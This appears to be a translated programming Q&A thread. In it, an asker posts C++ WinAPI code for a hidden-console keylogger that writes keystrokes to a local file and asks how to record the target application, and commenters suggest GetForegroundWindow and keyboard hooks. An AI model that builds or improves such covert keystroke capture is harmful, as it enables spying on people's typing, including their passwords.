【发布时间】:2013-03-13 17:49:02
【问题描述】:
我正在尝试使用 WinAPI 在 C++ 中编写一个简单的键盘记录器。有没有办法让用户在哪个应用程序中键入捕获的击键? 到目前为止,这是我的代码:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
【问题讨论】:
-
总是有
GetForegroundWindow。 -
你为什么要让计算机尽可能快地连续打开和关闭同一个文件 182 次?
-
顺便说一句,现在检查一个键是否按下的正确方法是
GetAsyncKeyState(i) & 0x8000。 -
您应该通过
SetWindowsHookEx()使用键盘挂钩来监控键盘活动,而不是在循环中使用GetAsyncKeyState()。 -
@Zoidberg:不,它只使用一个线程,所以它最多只会用完一个核心 - 它会执行文件 I/O,所以可能会有一些系统调用、锁和其他东西放慢速度……